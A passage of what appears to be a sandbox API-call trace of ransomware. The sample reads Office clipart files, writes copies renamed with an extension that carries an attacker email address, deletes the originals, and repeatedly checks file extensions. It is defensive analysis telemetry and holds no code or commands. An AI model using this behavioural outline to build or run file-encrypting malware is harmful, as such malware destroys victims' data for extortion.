(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.605] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.605] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0105.606] GetLastError () returned 0x0 [0105.606] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x2420, lpOverlapped=0x0) returned 1 [0105.607] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x2430, lpOverlapped=0x0) returned 1 [0105.608] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0105.608] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0105.608] SetEndOfFile (hFile=0x370) returned 1 [0105.609] CloseHandle (hObject=0x370) returned 1 [0105.610] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.610] SetEndOfFile (hFile=0x388) returned 1 [0105.611] CloseHandle (hObject=0x388) returned 1 [0105.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0105.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.611] lstrlenW (lpString=".doc") returned 4 [0105.611] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.611] lstrlenW (lpString=".docx") returned 5 [0105.612] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.612] lstrlenW (lpString=".pdf") returned 4 [0105.612] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString=".xls") returned 4 [0105.612] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString=".xlsx") returned 5 [0105.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.612] lstrlenW (lpString=".ppt") returned 4 [0105.612] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString=".zip") returned 4 [0105.612] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString=".rar") returned 4 [0105.612] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString=".bz2") returned 4 [0105.612] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.612] lstrlenW (lpString=".7z") returned 3 [0105.612] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString=".dbf") returned 4 [0105.612] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString=".1cd") returned 4 [0105.612] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString=".jpg") returned 4 [0105.612] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.612] lstrlenW (lpString=".doc") returned 4 [0105.612] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.613] lstrlenW (lpString=".docx") returned 5 [0105.613] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.613] lstrlenW (lpString=".pdf") returned 4 [0105.613] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.613] lstrlenW (lpString=".xls") returned 4 [0105.613] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.613] lstrlenW (lpString=".xlsx") returned 5 [0105.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.613] lstrlenW (lpString=".ppt") returned 4 [0105.613] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.613] lstrlenW (lpString=".zip") returned 4 [0105.613] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.613] lstrlenW (lpString=".rar") returned 4 [0105.613] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.613] lstrlenW (lpString=".bz2") returned 4 [0105.613] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.613] lstrlenW (lpString=".7z") returned 3 [0105.613] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.613] lstrlenW (lpString=".dbf") returned 4 [0105.613] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.613] lstrlenW (lpString=".1cd") returned 4 [0105.613] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0105.613] lstrlenW (lpString=".jpg") returned 4 [0105.613] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.614] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0105.614] lstrlenW (lpString="AG00171_.GIF") returned 12 [0105.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.614] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=5016) returned 1 [0105.614] CloseHandle (hObject=0x388) returned 1 [0105.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0105.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.615] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.615] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0105.615] GetLastError () returned 0x0 [0105.615] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1398, lpOverlapped=0x0) returned 1 [0105.616] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x13a0, lpOverlapped=0x0) returned 1 [0105.617] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0105.617] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0105.617] SetEndOfFile (hFile=0x370) returned 1 [0105.618] CloseHandle (hObject=0x370) returned 1 [0105.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.619] SetEndOfFile (hFile=0x388) returned 1 [0105.620] CloseHandle (hObject=0x388) returned 1 [0105.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0105.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.621] lstrlenW (lpString=".doc") returned 4 [0105.621] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.621] lstrlenW (lpString=".docx") returned 5 [0105.621] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.621] lstrlenW (lpString=".pdf") returned 4 [0105.621] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.621] lstrlenW (lpString=".xls") returned 4 [0105.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.621] lstrlenW (lpString=".xlsx") returned 5 [0105.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.622] lstrlenW (lpString=".ppt") returned 4 [0105.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString=".zip") returned 4 [0105.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.622] lstrlenW (lpString=".rar") returned 4 [0105.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.622] lstrlenW (lpString=".bz2") returned 4 [0105.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.622] lstrlenW (lpString=".7z") returned 3 [0105.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString=".dbf") returned 4 [0105.622] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString=".1cd") returned 4 [0105.622] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString=".jpg") returned 4 [0105.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.622] lstrlenW (lpString=".doc") returned 4 [0105.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.622] lstrlenW (lpString=".docx") returned 5 [0105.622] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.622] lstrlenW (lpString=".pdf") returned 4 [0105.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.623] lstrlenW (lpString=".xls") returned 4 [0105.623] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.623] lstrlenW (lpString=".xlsx") returned 5 [0105.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.623] lstrlenW (lpString=".ppt") returned 4 [0105.623] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.623] lstrlenW (lpString=".zip") returned 4 [0105.623] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.623] lstrlenW (lpString=".rar") returned 4 [0105.623] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.623] lstrlenW (lpString=".bz2") returned 4 [0105.623] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.623] lstrlenW (lpString=".7z") returned 3 [0105.623] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.623] lstrlenW (lpString=".dbf") returned 4 [0105.623] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.623] lstrlenW (lpString=".1cd") returned 4 [0105.623] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0105.623] lstrlenW (lpString=".jpg") returned 4 [0105.623] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.623] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0105.623] lstrlenW (lpString="AG00172_.GIF") returned 12 [0105.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.624] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=4390) returned 1 [0105.624] CloseHandle (hObject=0x388) returned 1 [0105.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0105.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0105.624] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.624] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0105.625] GetLastError () returned 0x0 [0105.625] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1126, lpOverlapped=0x0) returned 1 [0105.626] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1130, lpOverlapped=0x0) returned 1 [0105.627] ReadFile (in: hFile=0x388, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0105.627] WriteFile (in: hFile=0x370, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0105.627] SetEndOfFile (hFile=0x370) returned 1 [0105.627] CloseHandle (hObject=0x370) returned 1 [0105.628] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0105.628] SetEndOfFile (hFile=0x388) returned 1 [0105.629] CloseHandle (hObject=0x388) returned 1 [0105.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0105.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0105.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0105.629] lstrlenW (lpString=".doc") returned 4 [0105.629] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.629] lstrlenW (lpString=".docx") returned 5 [0105.629] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.629] lstrlenW (lpString=".pdf") returned 4 [0105.629] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.630] lstrlenW (lpString=".xls") returned 4 [0106.010] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0106.010] lstrlenW (lpString=".xlsx") returned 5 [0106.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0106.011] lstrlenW (lpString=".ppt") returned 4 [0106.011] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString=".zip") returned 4 [0106.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0106.011] lstrlenW (lpString=".rar") returned 4 [0106.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0106.011] lstrlenW (lpString=".bz2") returned 4 [0106.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0106.011] lstrlenW (lpString=".7z") returned 3 [0106.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString=".dbf") returned 4 [0106.011] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString=".1cd") returned 4 [0106.011] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString=".jpg") returned 4 [0106.011] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.011] lstrlenW (lpString=".doc") returned 4 [0106.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0106.011] lstrlenW (lpString=".docx") returned 5 [0106.011] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0106.011] lstrlenW (lpString=".pdf") returned 4 [0106.011] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0106.011] lstrlenW (lpString=".xls") returned 4 [0106.011] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0106.012] lstrlenW (lpString=".xlsx") returned 5 [0106.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0106.012] lstrlenW (lpString=".ppt") returned 4 [0106.012] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0106.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.012] lstrlenW (lpString=".zip") returned 4 [0106.012] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0106.012] lstrlenW (lpString=".rar") returned 4 [0106.012] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0106.012] lstrlenW (lpString=".bz2") returned 4 [0106.012] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0106.012] lstrlenW (lpString=".7z") returned 3 [0106.012] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0106.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.012] lstrlenW (lpString=".dbf") returned 4 [0106.012] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0106.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.012] lstrlenW (lpString=".1cd") returned 4 [0106.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0106.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0106.012] lstrlenW (lpString=".jpg") returned 4 [0106.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0106.012] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0106.012] lstrlenW (lpString="AN01044_.WMF") returned 12 [0106.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0106.013] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=1596) returned 1 [0106.013] CloseHandle (hObject=0x380) returned 1 [0106.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0106.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 